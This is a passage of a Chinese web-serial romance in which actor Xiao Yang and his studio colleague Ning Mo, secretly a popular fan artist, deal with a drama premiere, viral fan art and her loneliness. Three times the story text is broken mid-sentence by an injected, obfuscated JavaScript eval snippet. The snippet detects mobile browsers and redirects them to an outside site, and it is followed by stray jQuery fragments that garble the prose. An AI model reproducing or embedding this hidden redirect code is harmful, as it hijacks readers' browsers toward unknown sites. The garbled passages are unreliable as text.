萧扬穿着黑色的休闲套装，头发微微有些长了，额前的碎发柔软地垂下，一双漂亮的桃花眼满是讶异，脚步也是一顿。 “……宁茉？” 宁茉下意识关了手里的平板，想站起来，又想到山山还在睡觉，只能表面镇定地坐在工位上：“……你怎么来了？” “……有些工作要处理，”萧扬关上门，大步朝着她走了过来，“浦世诚让你过来加班的吗？” “哦，不是的，”宁茉摇摇头，“我在家里也没什么事，还有点工作没处理完，就来工作室了。” “……”萧扬笑了，“真的好敬业啊。” 宁茉被他说的脸色发红，躲开他的视线：“……那还是你比较敬业，由你带头卷，我们才有动力。” 萧扬却注意到她话里的重点，神情略带了些疑惑：“……我很卷吗？” 宁茉十分肯定的点了点头。 萧扬：“……” …… 萧扬在工作室没有固定的工位，大部分时候他都是在会议室忙，然而今天他却坐到了浦世诚的位置上——也是宁茉工位的斜对面方向。 宁茉只要一抬头，甚至都不需要抬头，余光都能看到萧扬的动作。 对面人的存在感实在太强，宁茉装模作样的敲了一会儿键盘，终于还是落败，低头专心撸起了山山。 萧扬这时才注意到宁茉腿上还躺了只大胖猫，皱眉道：“……山山，下来。” 橘猫不为所动。 萧扬起身，两步走到宁茉身边，伸手抱起山山：“你也不看看自己多少斤了，还像小时候一样喜欢趴在别人腿上。” “……没关系的，”宁茉连忙把山山从他手里抢救下来，“我也好几天没见它了，挺想它的。” “……是吗，”萧扬的目光看向那只满是惬意的猫猫，“几天没见就这么想它，之前放了一周的假，也没见你说过一句想……” 后面几个字在宁茉专注的目光下停住了，萧扬语气一顿，换了个话题：“它怎么长得这么快？之前明明那么小一只。” “是呀，长得好快，”宁茉揉揉山山的脑袋，“我刚来工作室的时候，一只手就能抱起来它，现在两只手抱都有点费劲了，难道这是橘猫的特殊天赋？” 萧扬的目光从猫转到人：“不只是它，你也成长了不少。” 宁茉笑了：“谢谢老板夸奖。” “对了，”萧扬问道，“手表好用吗？有用吗？” “……”宁茉摸着山山的手顿了一下，“昨晚睡觉忘了带了，我回去再试试吧。” “好，”萧扬的话题转的很快，宁茉都有些跟不上了，“中午想吃什么？我请你吃饭。” 宁茉摇摇头：“不用……” 萧扬阻止道：“你来这里加班，我管饭，天经地义。” …… 尽管话是这么说，最后两个人谁也能没出去吃饭，工作室堆积的事情实在太多，萧扬一坐下就忙到了中午一点，等他反应过来走出来，看到的就是也在忙碌的宁茉——两个人竟然十分默契的都忘了吃饭。 萧扬只好点了外卖，两个人一同去了会议室，吃这顿迟来的午饭。 宁茉早上没吃饭，这个时候有点饿了，低头开始专心干饭。 萧扬却吃的有些心不在焉，目光总是飘向她，安静了一会儿后，他突然开口。 “你最近的状态……似乎不是很好。” 宁茉眨眨眼，抬眼看向他：“……有吗？” 萧扬：“嗯，看起来很疲惫。” 宁茉捏着勺子的手指在空中停了几秒，想了想：“……大概是最近有点忙吧。” “比在云城的时候还要忙吗？” “……”宁茉停住了。 萧扬似乎叹了口气：“我一直想问……你最近是不是心情不好。” 宁茉沉默了几秒，问道：“……没有啊，怎么这么说？” 萧扬目光沉静：“自从你回来以后，就很少笑了。” ……宁茉神情有一瞬间的讶异，随后才意识到，她最近确实笑容很少。 但这种她自己都没有注意到的事情，蓦然从别人的嘴里说出来，还是让人觉得猝不及防。 “我……”宁茉眨眨眼，只觉得对方的目光让她没有勇气对视。 “我吃饱了。” 宁茉放下勺子，将餐盒盖起来：“谢谢你请的午饭，很好吃，我下午还有点事，先回去了。” 萧扬一怔，几乎来不及反应，宁茉已经迅速收拾好自己的东西，起身走出了工作室。 萧扬：“……” 工作室内安静下来。 萧扬坐在原地沉默了许久，打开手机，翻出通讯录里几天没联系的名字。 “呦，肖少爷~” 对方的语气还是照旧吊儿郎当：“你又想起还有我这么个朋友啦？怎么，你那位失眠朋友有新动静了？” “……”萧扬虽然不想理这个素来不正经的朋友，但偏偏对方总是能十分精准的抓到问题要害，这次也是迅速就猜对了萧扬的来意。 “我想问问……”萧扬犹豫了几秒，还是开口，“她最近……似乎在躲我。” “躲你？”电话对面的人沉默了几秒，问道，“你干什么了？” “我什么也没干。” 朋友笑了：“你再想想呢？” “……我只是送了她一个智能手表，”萧扬皱着眉，“请她吃了几顿饭，还有……希望她做我的粉丝。” “……” 电话那头的人长久的沉默了。 “……怎么了？我做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930493|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么不对吗？” “倒也不能说不对……只是你也太主动了吧。” “什么？”萧扬有些茫然，“我主动吗？” 朋友长叹一声：“唉……你也理解理解人家吧，要知道人在长期缺乏支持性人际关系、或者反复经历人际挫折后，是会对交友以及更深层次的亲密关系产生抗拒心理的。” “这种反应可不是突如其来的，更像是自我保护机制的一部分。” 萧扬沉默许久：“……你是说……她抗拒我？” “准确的说，他也许不是抗拒你，而是抗拒每一个想要靠近他的人。” “首先呢，这类人很容易发展出一种自我封闭的倾向，他会觉得亲密关系不可靠，于是干脆拒绝尝试产生新的链接，对他们来说，维持孤独的状态——要比冒险被伤害安全的多。” “同时，这种抗拒还可能表现在对亲密关系的不信任上：他可能觉得自己无法真正理解别人，也无法被别人真正理解，从而对任何试图靠近的人，都会保持戒备。” “不过，有意思的是，这种抗拒表面上是一种远离，背后呢又往往伴随着强烈的渴望——换句话说，也许他非常想要亲密关系，但是因为过去的经历或者性格，他认为这种渴望是危险的、不值得信任的，从而将自己困在一种矛盾的情绪中。” “至于我的建议嘛……萧扬，你对他也太关注了吧？你就非要靠近人家吗？” 萧扬放轻声音：“她……是我很重要的朋友，我不希望她一直是这样的状态。” “哦，朋友~”电话里的“朋友”拖长语调，“那也只能慢慢来了，他可能需要重新感受一种低风险的人际链接，比如从无条件的支持型关系开始，或者是……” 萧扬追问道：“或者是什么？” …… 暖黄色的咨询室中，青年把玩着手里的沙盘模型，眼底泛起笑意。 “一个赶不走的爱人。” 这句话说完，对面是长久的沉默，他不知道萧扬有没有在听，亦或是正在失神。 许久，萧扬那边终于有了回应，这次他的语调正经严肃，带着些感激：“我知道了，谢谢你。” 青年转而笑道：“那个……萧扬啊，我得提醒一下你，性向这事吧，是天生的。” “？”萧扬眉眼微怔，“什么？” “就是吧……你要是喜欢男人，这事基本是改不了了，喝中药也不行，所以不用沮丧。” 萧扬的眉头一沉，眼眸顿时暗了下来。 青年还在电话那头肆无忌惮的嚷嚷：“我算是明白你为什么离开肖家了，就你那爸，古董成精，不理解你那是肯定的，但是呢！作为你的多年好友，你要相信，我始终是支持你的。” “喜欢男的怎么了，这年头，谁还没个特殊爱好啊？我的患者里还有不少喜欢角色扮演的呢……” 啪。 萧扬果断挂断了电话。 随后好友的对话框弹出一堆语音，萧扬没打算看，却误触了播放键。 “别害羞啊，那个，我好奇一下，你的定位是什么？长这么帅，身材还这么好，应该是个1吧？” “但是没关系啊，哪怕你是零，我依旧支持你！大美零这两年市场也不错，广受欢迎~” “不过萧扬，我可是直男哈，你要是感情受挫，就别找我倾诉了，万一来个情感转移，那多少有点尴尬了……” 萧扬最后那点感激之情灰飞烟灭，顺手拉黑了他。 …… 56. 第 56 章 元旦后的第2天，《风暴降临》正式播出，何松华邀请几位主演一同录制播出首映会，大家共同看剧，讨论第一集的内容。 这样的播出首映会通常只有几个关键主角，并没有带上萧扬，但萧扬在放出的预告片里短暂的露脸了两秒，画面十分惊艳，引起了不少人的关注，粉丝量迅速增长了十万。 加上《风暴降临》本身剧情新颖、节奏紧凑，拍摄手法也新奇大胆，几乎是播出即火，迅速冲上了各个平台讨论榜的前几名。 而剧组趁热打铁发布了一组《风暴降临》概念海报，其中有一张男女主的双人海报惊艳出圈，画风更是眼熟。 “这不是茉莉无声太太的画风吗？！你们竟然真的找她合作了！” “好久没看到这么听劝的剧组了，爱了爱了~” “这张双人图也太漂亮了吧，求高清原图，我要当手机壁纸！” “茉莉无声太太，我将永远关注你！” 《风暴降临》官方账号立刻出来承认这幅画是找[茉莉无声]画师约的，还表示一共合作了两副，另一副作为惊喜海报，将会在十天后上线。 网友更激动了。 “天呐，太太画画简直神速，这么短的时间内完成两幅画作！” “啊啊啊好期待啊，感觉第二幅画会更漂亮~” 于是，宁茉的画师微博号同步多了很多粉丝，微博消息更是不停的冒出来。 她上线转发了官方的海报图，又写了一堆安利的话，推荐大家去看剧，不少网友在底下夸她太敬业了，不仅接活还负责剧宣。 萧扬工作室里，孙尚万正在关注播出首映会的热度。 “看来反响很好啊，剧集热度指数已经突破一万了，这才是上线的第一天。” “天呐，”宋依依一脸激动，“这部剧不会能爆吧？这部剧要是爆了，萧扬哥岂不是捡到大便宜！” 原定的演员临时换人，短短二十天天的补拍要是能换来一部爆剧，哪怕只是其中一个小角色也是赚的，演员履历中就可以写下这浓墨重彩的一笔。 “希望能爆，”宁茉默默祈祷，“最好热度指数能突破六万。” 六万算是十分热门的数据了，要是陈昌的《风暴降临》能有这个成绩，《如意环》就更不用担心了。 “六万？”浦世诚摇摇头，“你也太敢想了，刑侦题材的剧热度一向很难突破四万，这次是海文成和周杉两大主演自带粉丝，才能把剧的热度拉得这么高，后期肯定会掉下来的。” 孙尚万点点头：“是啊，而且萧扬的出场要在一周后，我怕到时候就没那么多人看剧了，也没人关注到他。” “不会的，”宁茉却十分有信心，“只要他出场，大家就一定能看到他的。” 她这句话话音落下的同时，会议室有人推门而出，正和她对上视线。 萧扬弯起眼眸：“谢谢你的鼓励。” “……”宁茉的气势立刻弱了下来，重新缩回到座位上，“应该的。” 萧扬又看向孙尚万：“广告是今天宣传吗？” “对，十一点，”孙尚万笑笑，“也算是你这段时间的第一个宣传片了，虽然是公益广告，但这可是来自南黄集团的宣传片，宣传力度绝不会小。” 宁茉一怔，想起来孙尚万方才发在群里的通告日程，今天要上线的正是她看着萧扬拍的那一支公益广告，如果没记错的话，那广告里也许还有一个宁茉自己的背影。 宁茉将桌上的背包拿起来，在里边摸出平板，打开了相册界面，若有所思的盯着平板安静了一会儿。 上午十一点，南黄集团官方账号发布南黄系列公益广告的第三支宣传片，和以往都是请大牌艺人拍摄不同，这一次出镜的却是个名不见经传的小演员。 账号粉丝众多，广告甫一发布就有不少人过来围观。 “咦？这个演员怎么没见过？” “好帅！好奶！这一身奶白色的衣服也太漂亮了吧！” “这个造型好好看啊，气质简直干净到像张白纸。” “三秒内，我要知道他的全部信息！” …… 与此同时，新晋人气画师[茉莉无声]发布了新画作，画面里是一个举着小狗的少年，少年的一双眼睛漂亮的不可方物，盯着小狗的眼眸里满是好奇，有光从逆向打过来照亮了少年的侧脸，更显得画面无暇干净。 而最为动人的是整幅画所透露出来的温暖和爱意，不需要了解画面中的人是谁，仅凭这张画也能看出：画师对他十分偏爱。 评论区立刻冲来不少人，围绕人物的身份讨论了一会儿后，终于有人破案了。 “这是萧扬的新广告造型吧？！” “天啊！什么好东西！我吃吃吃！” “等等，广告宣传片不是刚发吗？太太你的手速再快也不可能5分钟内就画好一张图吧！” “茉莉太太已经画了萧扬两次了，而且每次都是跟物料同时发的——所以茉莉太太不会真的是萧扬的粉丝吧？” “萧扬运气也太好了吧，有这么神仙的粉丝！” “姐妹别闹了，萧扬有没有粉丝都是未知，怎么可能有这种神仙太太！” “好吧，那应该就是萧扬工作室太有眼光了，总能抓到这位神仙太太画画。” 五分钟后，很少和粉丝互动的画师[茉莉无声]突然又在评论区发布了一条新评论。 [茉莉无声]：我是萧扬的粉丝哦~（爱心.jpg） …… 商务车在车道上飞驰，萧扬坐在后排垂眸看剧本，坐在副驾驶的浦世诚突然乐了：“呦，萧扬又上热搜了。” 萧扬抬头：“什么？” 浦世诚把手机伸到他脸前：“上次那个画师，原来她真是你粉丝。” 手机界面上，微博话题热搜榜赫然挂着一条关于他的话题： #好想复制萧扬的粉圈# 下面是无数粉丝的尖叫和羡慕。 [勇气宝宝]：我的天呐，接我推拥有同款粉丝！ [宇宙发呆星系]：这么厉害的太太能不能给我们家复制一个啊啊啊 [帅到想报警]：画的美到爆炸，简直把人物的灵魂都画出来了~萧扬的粉圈怎么会有这种神仙太太？！ [白野家的小心肝]：第一次对别人的粉丝有了占有欲，太太你能不能看看我推？他也很帅的呜呜呜 …… 这条热搜的热度甚至超过了《风暴降临》首映会的热度，一枝独秀的冲在热搜榜前排，压过了一众主演相关话题。 王墨一边开车一边笑道：“她是不是帮我们免费宣传了？” “何止是免费宣传，”浦世诚咂了咂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935854|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴，“买一条热搜得多少钱，她这是帮我们省了几十万！” “工作室账号发布的公益广告拍摄花絮视频原本无人问津，现在转发量都破万了，全靠她的推动。” 浦世诚看向身后的人：“萧扬，你小子运气真不错，遇见神仙粉丝了。” 萧扬打开微博，在关注列表里很快找到了那个[茉莉无声]，随后转发了那条微博。 [萧扬]：是我运气好。 宁茉的手机突然“叮咚”一声，是特别关注的提示音，此刻正是午休时间，工作室里一片安静，宋依依靠在椅背上玩手机，霍研坐在原地闭目养神，孙尚万则躺在折叠床上，神态安详。 这提示音来的突兀，吓了宁茉一跳，她手忙脚乱地打开手机调低音量，又看向跳出来的消息界面：萧扬回复她了。 几乎是同时，宋依依突然兴奋地跳了起来：“萧扬哥回复那位画师了！” …… 萧扬这句回复很快将热度再次推向高峰，他的微博里涌来无数新粉丝，同样，[茉莉无声]的粉丝数也在快速增长。 萧扬工作室里的气氛变得热切起来，宋依依时时播报热搜最近进度，宁茉则缩在角落，心不在焉的撸着趴在她工位上的山山。 宋依依兴奋地看向她：“茉茉！萧扬的粉丝突破三十万了！” 宁茉冷不防被点名，紧张之下不小心揪了山山的脑袋毛一下，山山小声地“喵呜”了一声，抬头看了一眼她，又乖乖趴了回去。 宁茉立刻十分抱歉地伸手给它揉了揉，一边回应宋依依：“……太好了，如果《风暴降临》播出校花案，一定还会有更多粉丝。” 宋依依的话题中心却还围绕着那位神秘画师：“实在是太厉害了，画的这么好，而且还有最新物料——说起来，这物料连我都没见过，她到底从哪里得到的啊？” “……”宁茉抱着山山转身，背对着宋依依的视线，语气有些心虚，“我也不知道，可能……真的是南黄集团的内部人员吧。” “你说的有道理，”宋依依嘿嘿一笑，“我也要关注她，看看她下次会发什么神仙稿子！……对了孙哥，你到底跟她联系上了没啊？约稿啊！趁着她还是萧扬的粉丝，说不定能拿个友情价呢~” 孙尚万在一旁哀叹：“联系上了，但是人家不加我微信啊……” 霍研笑了：“尚万，这你可不太行啊，风暴降临官方都能约到她的稿子，你却连人家微信都加不上。” 孙尚万深深的叹了口气：“可能是我们工作室的微博粉丝太少了吧，毕竟风暴降临官方微博都有40多万粉丝，我这个号粉丝连10万都不到。” 宁茉：“……” 她有点坐不住，抱着山山悄悄起身，站到了窗户前面。 刚站定每两秒，宋依依已经又喊了她一声：“茉茉！你说我们一起给那个画师发私信，能不能让她看到我们啊？” 宁茉动作一顿，眨巴眨巴眼睛，语气犹豫：“呃……也许……可以？” “肯定没用，”孙尚万摇摇头，“她现在这么火，私信早就爆了，怎么可能会看啊。” “说的也是，”宋依依也趴下来，“只能期待她别跑路，多粉我们萧扬哥一段时间了……” …… 宁茉捏了捏山山的后颈肉，耳根发红，轻声道：“……一定会的。” 57. 第 57 章 工作室忙碌了一下午，宁茉依旧是最后一个离开工作室的，她在夜色中慢慢走着，路过烤红薯摊，挑了个最大的烤红薯揣在手上，红薯有些烫手，她就先揣在手里暖手，快走到租房楼下时才开始吃。 剥开红薯皮，手机却突然接连震动了好几下，宁茉匆忙咬了一口，低头掏出手机，看到发来消息的是安静了许久的[草莓芝士波波]，顿时动作一顿。 草莓芝士波波约了她三张稿子，原本宁茉已经画好了两幅草稿，可中途《风暴降临》的官方约稿突然横插一脚，她忙着赶稿，就把草莓芝士波波的稿子又往后放了放，到现在也只完成了两张，还差一张。 好在[草莓芝士波波]却似乎一点也不介意她的拖稿，不仅没有催过她，还对她说慢慢画，不着急。 现在对方激动地给她发了好几条消息，内容竟然也不是关于催稿。 [草莓芝士波波]：太太！你还记得我之前给你提过的那个酷爱约稿的神秘大佬吗？ [草莓芝士波波]：他今天来问我你的联系方式了！因为我跟他说过我约到你的稿了 [草莓芝士波波]：太太你要不要考虑一下接他的定制？他真的出手阔绰！是我们圈里很有名的大佬~ [草莓芝士波波]：不过也要看太太你有没有时间和精力啦~ 宁茉有些好奇，问道：[他要约什么稿子？] [草莓芝士波波]：我也不知道，好像也是个影视角色稿。 宁茉这才放心了些，有原型的稿件是最好画的，只要抓住人物精髓，画稿的质量通常就不会差。 她想了想，草莓芝士波波的稿子大概三天内能完成，到时候再去接另一个稿子，似乎时间衔接的上。 [茉莉无声]：好呀，那你把我推给他吧 [草莓芝士波波]：好嘟好嘟！~ …… 很快，一个陌生的好友申请出现在列表：“[破晓刀客]申请加您为好友”。 宁茉点了通过，又啃了两口红薯，打字道：[你好呀，你是要约稿吗？我最近的稿子有点多，可能要一周后开始画，你可以接受吗？] 对方回复的很快，语气也很高冷。 [破晓刀客]：可以 [破晓刀客]：我想约全身稿，你那边报价是多少 宁茉又吃了几口红薯，室外的冷风吹的红薯有点凉了，她抓紧时间吃着，斟酌了一下回复。 [茉莉无声]:一张1500你可以接受吗？我可以多送几个背景和不同的表情。 这话发出去时宁茉有些没底气，这波涨价的依据来源于风暴降临官方给她的开价，但她又觉得个人约稿只是为了爱好，不应该和商用稿相提并论，是不是还是恢复之前的定价比较好？ 犹豫了几秒，吃掉最后一口红薯，她又小心翼翼的发了一句：[价格还可以再商量的] 对方的回复和她最后这句话是同时出现的。 [破晓刀客]：3000一张，我先约两张可以吗 “？！” 宁茉倒吸一口凉气，仔细看看屏幕，确认自己没看错。 3000一张？？这价格……难怪草莓芝士波波强调这位是她们一致认为的神秘大佬，原来他“开价奇高”不是开玩笑的…… 也许是见宁茉没有回复，刀客又追加了一句。 [破晓刀客]：这是初次合作的价格，如果你的稿子很合我的心意，我后续还会加价，希望你考虑一下 宁茉将手里的烤红薯袋子团成一团扔到路边垃圾桶里，站在垃圾桶边就开始快速点击屏幕营业。 [茉莉无声]:好的好的~（鞠躬.gif） [茉莉无声]:非常开心认识你，你的要求是什么呢~ [茉莉无声]:（小猫比心.gif） 刀客却给她发来一张海文成在《风暴降临》里的剧照，同时附带的还有她给萧扬画的那一张定妆照同款画稿、给风暴降临剧组画的双人稿件。 [破晓刀客]：我希望约一张这种风格的画稿，再要一张双人剧照风格的稿子，场景就要周沉在大剧院查案时的那个背景 要求倒是言简意赅，表述的也很清晰，但他要的内容让宁茉有些意外。 [茉莉无声]：好的，不过你是海文成的粉丝吗？ [破晓刀客]：不是，我只是喜欢周沉这个角色 原来是角色粉，宁茉了然，又回复道：[好的，我明白了，两张稿子的话，我可能需要画两星期哦，我会在一周后给你第一章的草稿的~] [破晓刀客]：好 宁茉之前算过时间，两周后差不多就是萧扬要进组《如意环》的日子，到时候她应该会跟组，行程就会瞬间忙碌起来。 原本她还打算用这两周先尽快完成草莓芝士波波的约稿，然后再努力接几张画稿攒攒钱，可这位横空出世的破晓刀客将稿件的价格瞬间拉高两倍，她只需要完成对方的稿子，就已经能拿到不少钱了。 来荣城真是个正确的决定——宁茉再次肯定道。 …… 《风暴降临》播出第三天，平台放出第12集的预告，阑牧终于在预告里出场了。 短短30秒的预告里，剧情讲到校花尸体被发现，死状凄惨，周沉和徐霏霏同时将调查的目标指向阑牧，随后他以外卖小哥的身份登场，少年清俊的脸庞犹有稚色，一双眼眸却黑如暗海，和周沉擦肩而过时看向对方，眼神冷淡倔强，人物的形象却瞬间立住了。 萧扬在预告里露面统共不超10秒，就迅速引起了热议。 “啊啊啊这是谁啊？！” “我的天，好帅的新人演员！这张脸也太好看了吧，这么普通的外卖员衣服还能穿的这么帅！” “啊啊啊萧扬在剧里比定妆照帅了十倍啊！我宣布这就是我的新墙头了！” “有品，陈昌实在有品！听说这个演员还会参演《如意环》，期待！~” 萧扬的微博涨粉速度很快，远超工作室众人最初的预想，他们原本打算等阑牧正式上线再开始宣传，但现在看来，宣传需要提前了。 深夜的工作室微信群里，大家还在讨论这一波热度要怎么应对。 [萧扬哥考虑开直播吗？~]宋依依建议道，[最近追剧实时reaction很火，正好阑牧的戏份要上线了，可以开直播追剧呀~] [或者再拍个阑牧写真吧，]王墨也提出自己的建议，[定妆照物料太少了，我们可以自己复原阑牧的造型拍几组照片。] 霍研则询问孙尚万：[杂志方那边对接的怎么样？] 孙尚万立刻回复：[初步定后天拍摄，会在下周抢发，附带一个阑牧人物专访] [浦世诚：那正好，拍摄主题直接定成阑牧人设，还能再拉一下热度，@萧扬你觉得呢？] [萧扬：嗯。] 一片热闹里，宁茉却没有发言，她翻着剪辑软件里自己积累的素材，剪了一个二十秒的阑牧校园戏份拍摄花絮。 目前“阑牧”这个角色出现在人们面前的都是剧里阴暗神秘的形象，她则专门把“阑牧”前期校园戏份里为数不多的“干净”剪形象了出来，正好营造一个反差。 而且……宁茉翻了翻平板里那张还没发出去的画稿，这是她目前唯一一张还没发出去的画稿了，正和花絮对应。 手机突然震动了一下，是宋依依在群里艾特自己。 [宋依依：@宁茉，茉茉，你怎么看？] 宁茉顺手将新剪好的视频发了出去：[你们看这个剪的OK吗？] 群里安静了三分钟，大家似乎都在看她的视频，随后，微信群瞬间热闹了起来。 [孙尚万：这个拍的不错啊！剪的也好] [王墨：哇，萧扬哥前期的居然还有这么温柔的时候] [宋依依：我的天！这些视频你是什么时候拍的，我怎么都不知道！] [霍研：我看也不用拍写真或直播了，这个视频已经足够说明一切了] [浦世诚：宁茉，难为你在总共就两天的拍摄时间里收集了这么多素材，等会儿给你发红包~] 宁茉立刻谦虚道：[都是我们三个人一起拍的，我只是把收集起来了~] [浦世诚：三个人都有红包！] 很快，萧扬工作室微博发布了一个花絮视频，内容是“阑牧”穿着校服走在校园小道上的画面，画面里并没有出现其他人，但阑牧的视线重心似乎始终在左前方，即使不了解剧情的人也看得出来：前方应该有一个对他来说极为重要的人。 不同于后期微长凌乱的头发，这个时候的阑牧还是较为清爽的短发，头发打理的整整齐齐，一双眼眸清澈沉稳，恍然看去像是校园偶像剧里青春洋溢的男主，让人根本无法联想到剧中那个疑似杀人制毒的阴郁少年。 视频一出，无数网友在评论区震惊： “哥你谁？” “我的天老爷啊阑牧怎么长这样？！天杀的是谁把他逼成预告里那个样子的！” “长着一张学霸的帅脸却去当了外卖小哥，呜呜呜剧没播我已经在心疼了” “萧扬竟然这么会演的吗？这角色塑造能力也太强了，关注了关注了，我要做第一波粉丝~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943409|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短短一个30秒的预告和20秒的花絮视频，已经又为萧扬增加了几万粉丝，工作室众人都十分振奋，这是一个非常好的开端，每个人都对这部剧充满信心。 直到凌晨一点，宁茉还在往群里发自己在《风暴降临》剧组时拍摄的花絮视频，有些是她已经剪辑好的，有些是原始素材，全都发给了孙尚万，方便他配合剧组做宣传。 相册翻着翻着，手机又震动了两下，宁茉低头一看，竟然是萧扬发来的消息。 [萧扬：还不睡吗？] 宁茉看着消息怔了一下。 这两天《风暴降临》开播，萧扬的行程骤然忙了起来，他原本在专心准备进组《如意环》的相关事项，但陈昌发现“阑牧”这个角色的人气比想象中高太多，便临时给萧扬加了很多宣传行程，这些行程大部分时间是王墨在跟，宁茉三天只见了萧扬一面。 但这样也好，宁茉最近一段时间心情都比较低落，遇见萧扬时也总是下意识想躲，像这样见不到萧扬时，她反而觉得轻松。 [宁茉：整理一下相册里的素材，快整理好了，弄好就睡。] 像是为了预防萧扬再催她睡觉，宁茉自己主动加上了最后半句，发出去时才意识到有些多余：自己睡不睡，难道还要给他报备吗？ 目光移到枕头边，白色的手表静静放着，自从跨年夜拿回来后宁茉就一直把它放在床上，既没有戴，也没有收起来，只是静静那么摆着，像是不知道该拿它怎么办。 萧扬回复很快：[看得出来你确实存了很多素材] 宁茉顿时挺直腰杆：[那当然了，应有尽有。] 说完这句话，宁茉蓦然想起曾经被萧扬抓包自己偷偷放大图片看腹肌的场景，立刻又找补了一句。 [宁茉：但是保证都很帅，绝不有损你的形象。] [萧扬：是么。] [宁茉：（大力点头.gif）] [萧扬：别太辛苦了，睡吧。] “……” 宁茉看着他的回复，突然不知道该回些什么了，往常她和萧扬的相处方式要么是客客气气的，要么是暗里互怼的，可萧扬真的用这么“温柔体贴”的语气和她说话，宁茉反而不会应对了。 这超出了她惯有的和别人的相处方式，也打破了她的安全线域。 也许是见宁茉许久没有回复，萧扬又发来一句。 [萧扬：睡不着的话，可以听听白噪音] 宁茉回复了一句：[知道了知道了，这就去睡。] 萧扬的语气看起来很满意：[晚安。] [宁茉：晚安] …… 简单洗漱了一下，宁茉躺到床上，看了一会儿天花板后，伸手向枕边摸了摸，很快就摸到了那个智能手表。 犹豫了几秒，她戴上手表，点开了白噪音播放功能。 海水涨落、林间鸟鸣、雨落竹林……声响并不大，刚好够她听到，又不会过于吸引注意力，的确是很好的安眠伴侣。 宁茉并不会因为这些声音就有困意，但她无事可做，索性关了灯，整个人缩在被窝里，安静地听着手表里微弱的音乐。 心脏微微起伏，一向寂静的夜色是她曾经最熟悉的景色，但现在听着那些采集自大自然的声音，宁茉竟然久违地感到了一丝……孤独。 像是置身亘古未变的荒原，无数生灵与她擦肩而过，却都不曾停下脚步，她看着周遭的事物来来去去，想要伸手挽留每一个路过的生灵，但始终迈不出那一步。 说不清是什么困住了她，又或者并没有任何东西困住她，她只是在这里停留太久了，不敢轻易离开熟悉的领域。 白噪音播放了很久，久到手表大概都怀疑她怎么还不困，已经自动切换了音乐，轻柔的民谣风格舒缓，歌词在这样无声的夜色里听得格外清晰。 …… “黄昏到来时，点一盏灯” “凭借它照亮，月光辰星” “飞舞的粒子，穿过指缝” “有新芽，正在破土而生……” …… 保持同一个姿势太久，宁茉有些僵硬，她转了转酸困的眼眶，探身拧开了床头的小夜灯，暖黄色的灯光照亮了一小片空间。 她倚在枕头上，盯着那一小片灯光，什么也没想，放空思绪，直到慢慢阖上眼。 沉寂的房间里，音乐还在继续： “于至暗处看，芸芸众生” “看芸芸众生，都似负重” “偏你，挣扎着拥抱晚风” “用世上，最温柔眼瞳……” …… 58. 第 58 章 第二天清晨，宁茉一进工作室的大门就看到了刚刚运动回来的萧扬，顿时怔了一下。 以往萧扬健身的时间都会提前一些，今天不知道为什么持续到了现在，正撞上宁茉往常的上班点。 萧扬的目光从她脸上开始下移，盯着她手腕上白色的运动手表看了几秒，又抬头看向宁茉，笑了：“早。” 宁茉点点头，有些不自在地将毛衣袖子往下推了推：“……早。” …… 《风暴降临》播出第七天，阑牧正式登场。 出场戏份就是校园篇，回忆里的青涩稚嫩和现实中的冷漠少年交叠出现，仿佛两个人格切换般的精湛演技让阑牧的人气瞬间暴涨，热度甚至短暂的压过了主演海文成饰演的周沉。 而更加助推热度增长的，是微博新晋人气画师[茉莉无声]新发布的一篇画稿。 画面里的少年一身校服，走在校园小道上，他的前方是穿着鲜艳蓝色长裙的少女，而他走在树荫下，与阳光与温暖隔绝，明明周身都是冷色调，偏偏一双眼睛温柔专注，成了画面里最抓人的一抹暖色。 无需特意介绍，仅凭画面中人物身上的那一身校服，就知道他是阑牧。 一大群人涌进了她的评论区，其中也包含了不少萧扬的粉丝。 “啊啊啊啊啊啊啊太厉害了茉莉老师你好会画！！！” “好美味的饭，我吃吃吃！” “伟大的作品！伟大的茉莉太太！” “太太真的不能关注一下我推吗我推他演戏也很好的呜呜呜……” “别抢别抢，太太只有一个，现在是我们萧扬家的啦~” 萧扬似乎也关注起这位画师的动态，这次转发的速度比之前都快了许多，还表示自己很喜欢，希望以后有机会能和这位画师合作。 与此同时，萧扬的微博粉丝数量也在迅速增长，在原本的基础上又多了五十万粉丝，并且还在以十分惊人的速度在增长。 就在“阑牧”讨论度不断增加的关键时期，风暴降临主演们录制的宣传综艺《欢乐对对碰》宣布了播出时间，就在当天晚上八点。 一时间，不少网友涌进《欢乐对对碰》的综艺平台，等着看这部综艺。 晚上七点，工作室里十分安静。 